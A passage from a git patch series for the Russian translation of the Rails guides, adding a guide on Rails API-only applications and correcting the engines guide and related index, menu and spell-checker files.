++-- source/working_with_javascript_in_rails.md | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/source/index.yml b/source/index.yml index f534d2a0..03546181 100644 --- a/source/index.yml +++ b/source/index.yml @@ -171,8 +171,8 @@ pages: - title: Работа с JavaScript в Rails path: working-with-javascript-in-rails file: working_with_javascript_in_rails.md - revision: 8019ad72ea5c5bb4fd5c0e2c56c050858d7bc2c1 - date: 09/06/2015 + revision: df5ada78c0b0e962d65e89e7487fd35289dc9157 + date: 11/08/2015 - title: Engine для начинающих path: engines diff --git a/source/working_with_javascript_in_rails.md b/source/working_with_javascript_in_rails.md index ee363f49..7d79f353 100644 --- a/source/working_with_javascript_in_rails.md +++ b/source/working_with_javascript_in_rails.md @@ -201,7 +201,7 @@ $ -> ```html
-
+
``` @@ -281,11 +281,11 @@ $("<%= escape_javascript(render @user) %>").appendTo("#users"); Turbolinks ---------- -Rails 4 поставляется с [гемом Turbolinks](https://github.com/rails/turbolinks). Этот гем использует Ajax для ускорения рендеринга страницы во большинстве приложений. +Rails 4 поставляется с [гемом Turbolinks](https://github.com/rails/turbolinks). Этот гем использует Ajax для ускорения рендеринга страницы в большинстве приложений. ### Как работает Turbolinks -Turbolinks добавляет обработчик щелчков на всех `
` на странице. Если ваш браузер поддерживает [PushState](https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history#The_pushState()_method), +Turbolinks добавляет обработчик щелчков на всех `` на странице. Если ваш браузер поддерживает [PushState](https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history#The_pushState%28%29_method), Turbolinks сделает запрос Ajax для страницы, распарсит отклик и заменит полностью `` страницы на `` отклика. Затем он использует PushState для изменения URL на правильный, сохраняя семантику для обновления и предоставляя красивые URL. Единственное, что необходимо сделать для включения Turbolinks - это добавить его в свой Gemfile, и поместить `//= require turbolinks` в свой манифест CoffeeScript, обычно это `app/assets/javascripts/application.js`. From 06cbd168d526049639f9fab9ba25377d431de867 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 11 Oct 2015 10:21:24 +0300 Subject: [PATCH 120/932] api guide --- .gitignore | 1 + .yaspellerrc | 4 + app/assets/stylesheets/layout.css.sass | 6 +- source/api_app.md | 287 +++++++++++++++++++++++++ source/index.md | 1 + source/index.yml | 7 +- source/menu.md | 1 + source/rails_on_rack.md | 2 +- 8 files changed, 304 insertions(+), 5 deletions(-) create mode 100644 source/api_app.md diff --git a/.gitignore b/.gitignore index 0aa24e8a..6cef8409 100644 --- a/.gitignore +++ b/.gitignore @@ -19,3 +19,4 @@ config/settings.local.yml config/settings/*.local.yml config/environments/*.local.yml config/settings/production.yml +node_modules diff --git a/.yaspellerrc b/.yaspellerrc index bcc2adf3..47cc518d 100644 --- a/.yaspellerrc +++ b/.yaspellerrc @@ -39,6 +39,7 @@ "гендер(но|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", "геокодер(а|е|у|ы|ах|ов|ом|ами|)", "геолокаци(и|ю|я|ей)", + "гист(а|е|ом|ах|ы|ов|)", "гитхаб(а|е|ом|)", "дампер(а|е|у|ы|ах|ов|ом|ами|)", "дамп(и|я)т(ь|ся|ься|)", @@ -89,6 +90,7 @@ "логировани(и|е|ю|я|ем)", "логир(ует|уют|уете|овать)(ся|)", "локал(и|ь|ей|ью|ям|ях|ями)", + "мапинг(а|у|е|и|ах|ам|)", "маршализаци(и|ю|я|ей)", "масштабируемост(и|ь|ей|ью|ям|ях|ями)", "межсайтов(ая|ое|ой|ую|ые|ым|ый|ых|ого|ыми)", @@ -100,6 +102,7 @@ "модулизирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", "монитор(и|я)т(ь|ся|ься|)", "мультисервер(ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", + "мьютекс(ы|а|ов|е|ах|)", "невалид(ен|на|но|ны|ная|ное|ные|ным|ный|ных|ного)", "недекорирован(а|о|ы|ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|)", "недублирующ(ая|ее|ей|ие|ий|им|их|ую|его)", @@ -187,6 +190,7 @@ "смаршрутизир(ует|уют|уете|овать)(ся|)", "смержит(ь|ся|ься|)", "спарсив", + "спуфинг(а|ом|е|)", "стаб(а|е|у|ы|ах|ов|ом|ами|)", "стэк(а|е|у|ы|ах|ов|ом|ами|)", "субкласс(а|е|у|ы|ах|ов|ом|ами|)", diff --git a/app/assets/stylesheets/layout.css.sass b/app/assets/stylesheets/layout.css.sass index c50e70ff..e71bf298 100644 --- a/app/assets/stylesheets/layout.css.sass +++ b/app/assets/stylesheets/layout.css.sass @@ -18,8 +18,8 @@ margin-right: 20px .popover.index-content - width: 650px - max-width: 650px + width: 680px + max-width: 680px padding-bottom: 15px .popover-content @@ -29,7 +29,7 @@ & > ul float: left - width: 310px + width: 350px list-style: none outside none margin-left: 0px diff --git a/source/api_app.md b/source/api_app.md new file mode 100644 index 00000000..f4014428 --- /dev/null +++ b/source/api_app.md @@ -0,0 +1,287 @@ +Использование Rails для API-приложений (Rails 5.0) +====================================== + +В этом руководстве вы узнаете + +* Что предоставляет Rails для API-приложений +* Как сконфигурировать Rails для работы без браузерных особенностей +* Как решить, какие промежуточные программы нужно включить +* Как решить, какие модули использовать в контроллере + +-------------------------------------------------------------------------------- + +Что такое API-приложение? +------------------------- + +Обычно, когда говорят, что Rails используется как "API", имеется в виду предоставление программно доступного API вместе с веб-приложением. Например, GitHub предоставляет [API](http://developer.github.com), который можно использовать в вашем собственном клиенте. + +С приходом клиентских фреймворков многие разработчики используют Rails для создания бэкенда, общего для их веб-приложений и других нативных приложений. + +Например, Twitter использует свой [публичный API](https://dev.twitter.com) в своем веб-приложении, который создан как статичный сайт, потребляющий ресурсы JSON. + +Вместо использования Rails для генерации динамичного HTML, взаимодействующего с сервером с помощью форм и ссылок, многие разработчики трактуют их веб-приложения как всего лишь еще один клиент, созданный из статичного HTML, CSS и JavaScript, потребляющего простой JSON API. + +Это руководство раскрывает создание приложения Rails, отдающего JSON-ресурсы клиентам API **или** клиентскому фреймворку. + +Зачем использовать Rails для JSON API? +-------------------------------------- + +Первый вопрос, который многие задают, когда думают о создании JSON API с помощью Rails, это: "Не будет ли использование Rails для отдачи некоторого JSON избыточным? Не должен ли я использовать что-то вроде Sinatra?". + +Для очень простых API это может быть истиной. Однако, даже в самых навороченных HTML приложениях, большинство логики приложения фактически находится вне уровня представления. + +Причиной, по которой многие используют Rails, является то, что он предоставляет набор, позволяющий взять и начать работать без осуществления множества тривиальных решений. + +Давайте посмотрим на некоторые вещи, которые Rails предоставляет из коробки и которые применимы к API-приложениям. + +На уровне промежуточных программ: + +- Перезагрузка: приложения Rails поддерживают прозрачную перезагрузку. Это работает даже если ваше приложение становится большим и рестарт сервера для каждого запроса становится неприемлемым. +- Режим разработки: приложения Rails идут с разумными значениями по умолчанию для разработки, что делает разработку приятной без ущерба производительности для production. +- Тестовый режим: то же самое, что и для режима разработки. +- Логирование: приложения Rails логируют каждый запрос с уровнем детализации, приемлемым для текущего режима. Логи Rails в development включают информацию о среде запроса, запросах в базу данных и основную информацию о производительности. +- Безопасность: Rails обнаруживает и мешает исполнению [IP спуфинга](https://ru.wikipedia.org/wiki/IP-спуфинг), и безопасным способом обрабатывает криптографические подписи в [атаках по времени](https://ru.wikipedia.org/wiki/Атака_по_времени). Не знаете, что такое IP спуфинг или атака по времени? Вот-вот! +- Парсинг параметров: Хотите устанавливать ваши параметры как JSON вместо URL-кодированной строки? Без проблем. Rails декодирует JSON и сделает его доступным в `params`. Хотите использовать вложенные URL-кодированные параметры? Это тоже работает. +- Условный GETs: Rails поддерживает условный `GET`, (`ETag` и `Last-Modified`), обрабатывая заголовки запроса и возвращая правильный отклик и код статуса. Все, что нужно, это использовать проверку [`stale?`](http://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F) в вашем контроллере, и Rails позаботится обо всех деталях HTTP. +- Кэширование: Если использовать `dirty?` с публичным контролем кэша, Rails автоматически кэширует отклики. Хранилище кэша можно легко конфигурировать. +- Запросы HEAD: Rails прозрачно конвертирует запросы `HEAD` в `GET`, и возвращает только заголовки тем же образом. Это позволяет `HEAD` надежно работать во всех API Rails. + +Очевидно, что хотя вы и можете это создать сами в терминах существующих промежуточных программ Rack, этот список демонстрирует стек промежуточных программ Rails по умолчанию, представляющий большую ценность, даже хотя вы "просто генерируете JSON". + +На уровне Action Pack: + +- Ресурсный роутинг: Если вы создаете RESTful JSON API, вам захочется использовать роутер Rails. Чистый и общепринятый мапинг от HTTP к контроллерам означает, что не нужно тратить время, думая, как смоделировать ваш API в терминах HTTP. +- Генерация URL: Обратной стороной роутинга является генерация URL. Хороший API, основанный на HTTP, включает URL-ы (в качестве примера смотрите [API для гистов GitHub](http://developer.github.com/v3/gists/)). +- Отклики с заголовками и редиректами: `head :no_content` и `redirect_to user_url(http://github.com/current_user)` очень удобны. Конечно, заголовки отклика можно добавить руками, но зачем? +- Кэширование: Rails предоставляет кэширование страниц, экшнов и фрагментов. Кэширование фрагментов особенно полезно при создании вложенных объектов JSON. +- Простая, дайджестная и токенная аутентификация: Rails поставляется с поддержкой из коробки трех типов аутентификации HTTP. +- Инструментарий: в Rails имеется инструментальный API, запускающий зарегистрированные обработчики для множества событий, таких как обработка экшна, отсылка файла или данных, перенаправление и запросы к базе данных. Информация о каждом событии приходит с соответствующими параметрами (для события обработки экшна информация включает контроллер, экшн, параметры, формат запроса, метод запроса и полный путь запроса). +- Генераторы: Это, возможно, и не нужно для опытных пользователей Rails, но это удобно сгенерировать ресурс и получить модель, контроллер, заготовки для тестов и роут, созданные одной командой. +- Плагины: Многие сторонние библиотеки поставляются с поддержкой Rails, что уменьшает или устраняет стоимость настройки и внедрения библиотеки во фреймворк. Это включает вещи, такие как переопределение генераторов по умолчанию, добавление задач rake и принятие выбора в Rails (такого как логгер и кэширующий бэкенд). + +Конечно, процесс загрузки Rails также соединяет воедино все зарегистрированные компоненты. Например, процесс загрузки Rails это то, что использует файл `config/database.yml` при конфигурации Active Record. + +**Краткая версия**: можно не задумываться, какие части Rails все еще применимы, даже если вы уберете уровень представления, ответом будет "большая часть из них". + +Базовая конфигурация +-------------------- + +Если вы создаете приложение Rails, которое будет в первую очередь сервером API, можно начать с более ограниченного подмножества Rails и добавлять особенности по необходимости. + +Можно создать новое приложение api Rails: + +```bash +$ rails new my_api --api +``` + +Это сделает три основных вещи: + +- Сконфигурирует приложение, чтобы оно запускало более ограниченный набор промежуточных программ, чем обычно. В частности, оно не включит по умолчанию какие-либо промежуточные программы, полезные для браузерных приложений (такие как поддержка куки). +- Унаследует `ApplicationController` от `ActionController::API` вместо `ActionController::Base`. Как и в случае с промежуточными программами, это выкинет все модули Action Controller, предоставляющие функциональность, в основном используемую браузерными приложениями. +- Сконфигурирует генераторы, чтобы они пропускали генерацию вьюх, хелперов и ассетов при генерации нового ресурса. + +Если хотите взять существующее приложение и сделать его API-приложением, следуйте этим шагам. + +В `config/application.rb` добавьте следующую строчку в самый верх определения класса `Application`: + +```ruby +config.api_only = true +``` + +Наконец, в `app/controllers/application_controller.rb` вместо: + +```ruby +class ApplicationController < ActionController::Base +end +``` + +сделайте: + +```ruby +class ApplicationController < ActionController::API +end +``` + +Выбор промежуточных программ +---------------------------- + +API-приложение поставляется со следующими промежуточными программами по умолчанию: + +- `Rack::Sendfile` +- `ActionDispatch::Static` +- `Rack::Lock` +- `ActiveSupport::Cache::Strategy::LocalCache::Middleware` +- `ActionDispatch::RequestId` +- `Rails::Rack::Logger` +- `Rack::Runtime` +- `ActionDispatch::ShowExceptions` +- `ActionDispatch::DebugExceptions` +- `ActionDispatch::RemoteIp` +- `ActionDispatch::Reloader` +- `ActionDispatch::Callbacks` +- `Rack::Head` +- `Rack::ConditionalGet` +- `Rack::ETag` + +Смотрите раздел по [внутренним промежуточным программам](/rails_on_rack#internal-middleware-stack) руководства по Rack, чтобы узнать подробности о них. + +Другие плагины, включая Active Record, могут добавлять дополнительные промежуточные программы. В основном, эти промежуточные программы безразличны к типу создаваемого приложения, и имеют смысл в API-приложении Rails. + +Можно получить список всех промежуточных программ вашего приложения с помощью: + +```bash +$ rake middleware +``` + +### Использование кэширующей промежуточной программы + +По умолчанию Rails добавит промежуточную программу, предоставляющую хранилище кэша, основанного на конфигурации вашего приложения (по умолчанию memcache). Это означает, что встроенный кэш HTTP будет полагаться на нее. + +Например, используя метод `stale?`: + +```ruby +def show + @post = Post.find(params[:id]) + + if stale?(last_modified: @post.updated_at) + render json: @post + end +end +``` + +Вызов `stale?` сравнит заголовок `If-Modified-Since` в запросе с `@post.updated_at`. Если заголовок новее, чем время последнего изменения, этот экшн вернет отклик "304 Not Modified". В противном случае, он отрендерит отклик и включит в него заголовок `Last-Modified`. + +Обычно этот механизм используется отдельно для каждого клиента. Кэширующая промежуточная программа позволяет распределять этот кэширующий механизм между клиентами. Можно включить меж-клиентское кэширование в вызове `stale?`: + +```ruby +def show + @post = Post.find(params[:id]) + + if stale?(last_modified: @post.updated_at, public: true) + render json: @post + end +end +``` + +Это означает, что кэширующая промежуточная программа сохранит значение `Last-Modified` для URL в кэше Rails, и добавит заголовок `If-Modified-Since` в любой последующий входящий запрос к этому URL. + +Воспринимайте это как кэширование страниц в семантике HTTP. + +NOTE: Эта промежуточная программа всегда вне мьютекса `Rack::Lock`, даже в однотредовых приложениях. + +### Использование Rack::Sendfile + +При использовании метода `send_file` в контроллере Rails, он устанавливает заголовок `X-Sendfile`. `Rack::Sendfile` ответственен за фактическую отсылку файла. + +Если ваш фронтенд сервер поддерживает ускоренную отсылку файла, `Rack::Sendfile` переложит работу по фактической отсылке файла на фронтенд сервер. + +Можно настроить имя заголовка, которое использует ваш фронтенд сервер для этой цели, с помощью `config.action_dispatch.x_sendfile_header` в соответствующем среде конфигурационном файле. + +Подробнее узнать о том, как использовать `Rack::Sendfile` с популярными фронтендами можно в [документации Rack::Sendfile](http://rubydoc.info/github/rack/rack/master/Rack/Sendfile). + +Вот несколько значений для популярных серверов, которые, если будут установлены, добавят поддержку для ускоренной отсылки файла: + +```ruby +# Apache и lighttpd +config.action_dispatch.x_sendfile_header = "X-Sendfile" + +# Nginx +config.action_dispatch.x_sendfile_header = "X-Accel-Redirect" +``` + +Убедитесь, что сконфигурировали на своем сервере поддержку этих опций в соответствии с инструкциями в документации `Rack::Sendfile`. + +NOTE: Промежуточная программа `Rack::Sendfile` всегда вне мьютекса `Rack::Lock`, даже в однотредовых приложениях. + +### Использование ActionDispatch::Request + +`ActionDispatch::Request#params` примет параметры от клиента в формате JSON и сделает их доступными в контроллере внутри `params`. + +Для его использования клиенту нужно сделать запрос с кодированными в JSON параметрами и указать `Content-Type` как `application/json`. + +Вот пример на jQuery: + +```javascript +jQuery.ajax({ + type: 'POST', + url: '/people', + dataType: 'json', + contentType: 'application/json', + data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }), + success: function(json) { } +}); +``` + +`ActionDispatch::Request` увидит `Content-Type` и вашими параметрами будут: + +```ruby +{ :person => { :firstName => "Yehuda", :lastName => "Katz" } } +``` + +### Другие промежуточные программы + +Rails поставляется с рядом других промежуточных программ, которые вы, возможно, захотите использовать в API-приложении, особенно если одним из клиентов вашего API является браузер: + +- `Rack::MethodOverride` +- `ActionDispatch::Cookies` +- `ActionDispatch::Flash` +- Для управления сессиями + * `ActionDispatch::Session::CacheStore` + * `ActionDispatch::Session::CookieStore` + * `ActionDispatch::Session::MemCacheStore` + +Любые из этих промежуточных программ могут быть добавлены с помощью: + +```ruby +config.middleware.use Rack::MethodOverride +``` + +### Удаление промежуточных программ + +Если вы не хотите использовать промежуточную программу, которая включена по умолчанию в набор промежуточных программ для API, ее можно убрать с помощью: + +```ruby +config.middleware.delete ::Rack::Sendfile +``` + +Учтите, что удаление этих промежуточных программ удалит поддержку для определенных особенностей в Action Controller. + +Выбор модулей контроллера +------------------------- + +API-приложение (использующее `ActionController::API`) по умолчанию поставляется со следующими модулями: + +- `ActionController::UrlFor`: Делает доступными `url_for` и сотоварищи. +- `ActionController::Redirecting`: Поддержка для `redirect_to`. +- `ActionController::Rendering`: Базовая поддержка для рендеринга. +- `ActionController::Renderers::All`: Поддержка для `render :json` и сотоварищей. +- `ActionController::ConditionalGet`: Поддержка для `stale?`. +- `ActionController::ForceSSL`: Поддержка для `force_ssl`. +- `ActionController::DataStreaming`: Поддержка для `send_file` и `send_data`. +- `AbstractController::Callbacks`: Поддержка для `before_action` и сотоварищей. +- `ActionController::Instrumentation`: Поддержка для инструментальных хуков, определенных Action Controller (смотрите [руководство по инструментарию](/active-support-instrumentation#action-controller)). +- `ActionController::Rescue`: Поддержка для `rescue_from`. +- `ActionController::BasicImplicitRender`: Убеждается, что возвращен пустой отклик, если нет явного. +- `ActionController::StrongParameters`: Поддержка для белых списков параметров в сочетании с массовым назначением Active Model. +- `ActionController::ParamsWrapper`: Оборачивает хэш параметров во вложенный хэш, таким образом, к примеру, не нужно указывать корневые элементы при посылка запросов POST. + +Другие плагины могут добавлять дополнительные модули. Список всех модулей, включенных в `ActionController::API` можно получить в консоли rails: + +```bash +$ bin/rails c +>> ActionController::API.ancestors - ActionController::Metal.ancestors +``` + +### Добавление других модулей + +Все модули Action Controller знают о зависимых модулях, поэтому можно свободно включать любые модули в контроллеры, и будут включены и настроены все зависимости. + +Некоторые распространенные модули, которые вы, возможно, захотите добавить: + +- `AbstractController::Translation`: Поддержка для методов локализации `l` и перевода `t`. +- `ActionController::HttpAuthentication::Basic` (или `Digest`, или `Token`): Поддержка для простой, дайджестной или токенной аутентификация HTTP. +- `AbstractController::Layouts`: Поддержка для макетов при рендеринге. +- `ActionController::MimeResponds`: Поддержка для `respond_to`. +- `ActionController::Cookies`: Поддержка для `cookies`, что включает поддержку для подписанных и зашифрованных куки. Он требует промежуточную программу для куки. + +Лучшим местом для добавления модулей является `ApplicationController`, но вы также можете добавить модули в отдельные контроллеры. diff --git a/source/index.md b/source/index.md index 4a599165..99f12cd0 100644 --- a/source/index.md +++ b/source/index.md @@ -66,6 +66,7 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Основы создания плагинов Rails](/plugins) := Это руководство раскрывает, как создать плагин, расширяющий функционал Rails. - [Rails on Rack](/rails-on-rack) := Это руководство раскрывает интеграцию Rails и Rack, и взаимодействие с другими компонентами Rack - [Создание и настройка генераторов Rails](/generators) := Это руководство раскрывает процесс добавления совершенно нового генератора для вашего расширения или представления альтернативного элемента для встроенного в Rails генератора (такого как представление альтернативных тестовых заглушек для генератора скаффолда). +- [Использование Rails для API-приложений (Rails 5.0)](/api-app) := Это руководство раскрывает создание приложения Rails, отдающего ресурсы JSON клиентам API **или** клиентскому фреймворку. ## Вносим вклад в Ruby on Rails diff --git a/source/index.yml b/source/index.yml index 6aac6432..325b53ba 100644 --- a/source/index.yml +++ b/source/index.yml @@ -210,6 +210,12 @@ pages: revision: e6be33f1ddafdb3e85b9809d0280439fc83559ae date: 25/06/2015 + - title: Использование Rails для API-приложений + path: api-app + file: api_app.md + revision: 24f9c03d52ad4c7f081cc7a9561946109b3ad500 + date: 04/10/2015 + - title: Вносим вклад в Ruby on Rails path: contributing_to_ruby_on_rails file: contributing_to_ruby_on_rails.md @@ -277,7 +283,6 @@ pages: date: 18/12/2014 plan: - - file: api_app.md - file: maintenance_policy.md - file: profiling.md - file: rails_application_templates.md diff --git a/source/menu.md b/source/menu.md index 10b52c1a..4bf2466b 100644 --- a/source/menu.md +++ b/source/menu.md @@ -53,6 +53,7 @@ next_column * [Основы создания плагинов Rails](/plugins) * [Rails on Rack](/rails-on-rack) * [Создание и настройка генераторов Rails](/generators) + * [Использование Rails для API-приложений](/api-app) * **Вносим вклад в Ruby on Rails** diff --git a/source/rails_on_rack.md b/source/rails_on_rack.md index 0ca540f1..f737b87f 100644 --- a/source/rails_on_rack.md +++ b/source/rails_on_rack.md @@ -198,7 +198,7 @@ config.middleware.delete "ActionDispatch::Flash" config.middleware.delete "Rack::MethodOverride" ``` -### Стек внутренних промежуточных программ +### (internal-middleware-stack) Стек внутренних промежуточных программ Значительная часть функционала Action Controller реализована как промежуточные программы. Следующий перечень объясняет назначение каждой из них: From 5cf4eea3ef6933cf6cc135affb4be57453a7c80c Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Wed, 28 Oct 2015 23:26:46 +0400 Subject: [PATCH 121/932] Update engines --- source/engines.md | 64 ++++++++++++++++------------------------------- source/index.yml | 4 +-- 2 files changed, 24 insertions(+), 44 deletions(-) diff --git a/source/engines.md b/source/engines.md index 374b76ba..c5ddf5e9 100644 --- a/source/engines.md +++ b/source/engines.md @@ -6,7 +6,7 @@ Engine для начинающих После прочтения этого руководства, вы узнаете: * Зачем нужен engine. -* Как создать engine, +* Как создать engine. * Встроенные особенности engine. * Внедрение engine в приложение. * Переопределение функционала engine из приложения. @@ -18,7 +18,7 @@ Engine можно рассматривать как миниатюрное пр Следовательно, об engine и приложении можно говорить как примерно об одном и том же, с небольшими различиями, как вы увидите в этом руководстве. Engine и приложение также используют одинаковую структуру. -Engine также близок к плагину, они оба имеют одинаковую структуру директории `lib` и оба создаются с помощью генератора `rails plugin new`. Разница в том, что engine рассматривается Rails как "full plugin" (на что указывает опция `--full`, передаваемой в команду генератора). Фактически, тут мы будем использовать опцию `--mountable`, включающую все особенности `--full` и кое-что еще. Впрочем, в этом руководстве эти "full plugins" будут называться просто "engine". Engine **может** быть плагином, а плагин **может** быть engine-ом. +Engine также близок к плагину, они оба имеют одинаковую структуру директории `lib` и оба создаются с помощью генератора `rails plugin new`. Разница в том, что engine рассматривается Rails как "full plugin" (на что указывает опция `--full`, передаваемая в команду генератора). Фактически, тут мы будем использовать опцию `--mountable`, включающую все особенности `--full` и кое-что еще. Впрочем, в этом руководстве эти "full plugins" будут называться просто "engine". Engine **может** быть плагином, а плагин **может** быть engine-ом. Engine, который будет создан в этом руководстве, называется "blorgh". Этот engine предоставит функционал блога содержащим его приложениям, позволяя создавать новые статьи и комментарии. Сначала мы поработаем отдельно с самим engine, а потом посмотрим, как внедрить его в приложение. @@ -100,7 +100,7 @@ mount Blorgh::Engine => "/blorgh" В корне директории нового engine есть файл `blorgh.gemspec`. Позже, когда вы будете включать engine в приложение, это нужно будет сделать с помощью следующей строчки в `Gemfile` приложения: ```ruby -gem 'blorgh', path: "vendor/engines/blorgh" +gem 'blorgh', path: 'engines/blorgh' ``` Не забудьте запустить `bundle install`, как обычно. Если указать его как гем в `Gemfile`, Bundler так его и загрузит, спарсив файл `blorgh.gemspec`, и затребовав файл в директории `lib` по имени `lib/blorgh.rb`. Этот файл требует файл `blorgh/engine.rb` (расположенный в `lib/blorgh/engine.rb`) и определяет базовый модуль по имени `Blorgh`. @@ -260,15 +260,9 @@ end Наконец, создаются два ресурсных файла, `app/assets/javascripts/blorgh/articles.js` и `app/assets/stylesheets/blorgh/articles.css`. Вы увидите, как их использовать немного позже. -По умолчанию стили скаффолда не применяется в engine, поскольку файл макета engine, `app/views/layouts/blorgh/application.html.erb` не загружает его. Чтобы применить их, вставьте эту строку в тег `` этого макета: - -```erb -<%= stylesheet_link_tag "scaffold" %> -``` - Можно понаблюдать, что имеет engine на текущий момент, запустив `rake db:migrate` в корне нашего engine, чтобы запустить миграцию, созданную генератором скаффолда, а затем запустив `rails server` в `test/dummy`. Если открыть `http://localhost:3000/blorgh/articles`, можно увидеть созданный скаффолд по умолчанию. Проверьте! Вы только что создали первые функции вашего первого engine. -Также можно поиграть с консолью, `rails console` также будет работать, так же как и для приложения Rails. Помните: модель `Article` лежит в пространстве имен, поэтому, чтобы к ней обратиться, следует вызвать ее как `Blorgh::Article`. +Также можно поиграть с консолью, `rails console` будет работать так же, как и для приложения Rails. Помните: модель `Article` лежит в пространстве имен, поэтому, чтобы к ней обратиться, следует вызвать ее как `Blorgh::Article`. ```ruby >> Blorgh::Article.find(1) @@ -398,20 +392,21 @@ def create end private - def comment_params - params.require(:comment).permit(:text) - end + +def comment_params + params.require(:comment).permit(:text) +end ``` Это последняя часть, требуемая для работы формы нового комментария. Однако, отображение комментариев еще не закончено. Если создадите новый комментарий сейчас, то увидите эту ошибку: ``` -Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: +Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" * "/Users/ryan/Sites/side_projects/blorgh/app/views" ``` -Engine не может найти партиал, требуемый для рендеринга комментариев. Rails сперва ищет его в директории приложения (`test/dummy`) `app/views`, а затем в директории engine `app/views`. Когда он не нашел его, выдал эту ошибку. Engine знает, что нужно искать в `blorgh/comments/comment`, поскольку объект модели, которую он получает, класса `Blorgh::Comment`. +Engine не может найти партиал, требуемый для рендеринга комментариев. Rails сперва ищет его в директории приложения (`test/dummy`) `app/views`, а затем в директории engine `app/views`. Когда он не нашел его, выдал эту ошибку. Engine знает, что нужно искать в `blorgh/comments/_comment`, поскольку объект модели, которую он получает, класса `Blorgh::Comment`. Сейчас этот партиал будет ответственен за рендеринг только текста комментария. Создайте новый файл `app/views/blorgh/comments/_comment.html.erb` и поместите в него эту строку: @@ -445,7 +440,7 @@ gem 'devise' Однако, поскольку вы разрабатываете engine `blorgh` на своей локальной машине, необходимо указать опцию `:path` в `Gemfile`: ```ruby -gem 'blorgh', path: "/path/to/blorgh" +gem 'blorgh', path: 'engines/blorgh' ``` Затем запустите `bundle` для установки гема. @@ -479,8 +474,8 @@ $ rake railties:install:migrations Эта команда при первом запуске скопирует все миграции из engine. При следующем запуске она скопирует лишь те миграции, которые еще не были скопированы. Первый запуск этой команды выдаст что-то подобное: ```bash -Copied migration [timestamp_1]_create_blorgh_articles.rb from blorgh -Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh +Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh +Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh ``` Первая временная метка (`[timestamp_1]`) будет текущим временем, а вторая временная метка (`[timestamp_2]`) будет текущим временем плюс секунда. Причиной для этого является то, что миграции для engine выполняются после всех существующих миграций приложения. @@ -569,9 +564,9 @@ $ rake blorgh:install:migrations Отметьте, что сейчас будет скопирована только _одна_ миграция. Это так, потому что первые две миграции уже были скопированы при первом вызове этой команды. ``` -NNOTE Migration [timestamp]_create_blorgh_articles.rb from blorgh has been skipped. Migration with the same name already exists. -NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists. -Copied migration [timestamp]_add_author_id_to_blorgh_articles.rb from blorgh +NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists. +NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists. +Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh ``` Запустите эту миграцию с помощью: @@ -587,26 +582,10 @@ $ rake db:migrate ```html+erb

Author: - <%= @article.author %> + <%= @article.author.name %>

``` -При выводе `@article.author` с использованием тега `<%=` на объекте будет вызван метод `to_s`. По умолчанию он выдает нечто уродливое: - -``` -# -``` - -Это не подходит. Будет гораздо лучше, если бы тут было имя пользователя. Для этого добавьте метод `to_s` в класс `User` в приложении: - -```ruby -def to_s - name -end -``` - -Теперь вместо уродливого объекта Ruby будет отображено имя автора. - #### Использование контроллера, предоставленного приложением Поскольку обычно контроллеры Rails имеют общий код для таких вещей, как переменные сессии для аутентификации и доступа, по умолчанию они наследуются от `ApplicationController`. Однако engine Rails помещен в пространство имен для запуска, независимого от основного приложения, поэтому каждый engine получает `ApplicationController` в своем пространстве имен. Это пространство имен предотвращает коллизии кода, но часто контроллерам engine необходимо получить доступ к методам `ApplicationController` основного приложения. Легче всего получить этот доступ, изменив `ApplicationController` в пространстве имен engine, унаследовав его от `ApplicationController` основного приложения. Для нашего Blorgh engine это может быть выполнено, изменив `app/controllers/blorgh/application_controller.rb` подобным образом: @@ -778,7 +757,7 @@ end ```ruby # MyApp/app/decorators/models/blorgh/article_decorator.rb -Article::Post.class_eval do +Blorgh::Article.class_eval do def time_since_created Time.current - created_at end @@ -862,9 +841,10 @@ module Blorgh::Concerns::Models::Article before_save :set_author private - def set_author - self.author = User.find_or_create_by(name: author_name) - end + + def set_author + self.author = User.find_or_create_by(name: author_name) + end end def summary diff --git a/source/index.yml b/source/index.yml index 325b53ba..59e00be4 100644 --- a/source/index.yml +++ b/source/index.yml @@ -177,8 +177,8 @@ pages: - title: Engine для начинающих path: engines file: engines.md - revision: 8ec88a1b9eee2f259fd9c4de87b9d7d0d4b21fba - date: 10/04/2015 + revision: 3c52b2000cbee716b5e449974c312c4fb552f64f + date: 25/09/2015 - title: Процесс инициализации в Rails path: initialization From b636034d209a6d080c8fa48374a82203f800c57b Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Thu, 29 Oct 2015 23:25:59 +0400 Subject: [PATCH 122/932] Actualize --- source/action_controller_overview.md | 6 +++--- source/active_record_validations.md | 2 +- source/active_support_core_extensions.md | 6 +++--- source/command_line.md | 2 +- source/index.yml | 24 ++++++++++++------------ source/plugins.md | 1 - 6 files changed, 20 insertions(+), 21 deletions(-) diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index d6153403..fccde3a4 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -746,7 +746,7 @@ Rails добавит этот токен в каждую форму, генер (the-request-and-response-objects) Объекты Request и 